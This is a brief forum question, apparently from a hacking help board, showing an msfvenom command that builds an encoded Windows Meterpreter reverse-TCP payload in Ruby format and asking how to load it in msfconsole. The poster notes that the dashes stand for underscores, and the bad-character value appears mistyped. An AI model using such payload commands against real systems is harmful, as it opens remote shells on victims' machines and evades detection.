Whenever I generate an encoded payload, I use the payload "-p windows/meterpreter/reverse-tcp", I save it as "-o filename.rb" with "-f ruby" and encoder "-e shikata-ga-nai", bad chars to avoid is "-b '/x00' ".
So full code is: "msfvenom -p windows/meterpreter/reverse-tcp -e shikata-ga-nai -i 3 -b '/x00' -f ruby -o filename.rb". (Note that '-' (dash) is underscore, bu it messes up my post.)
How can I use this custom ruby script as my payload in msfconsole?
Btw. The only output in the file 'filename.rb' contains the buff/bad chars.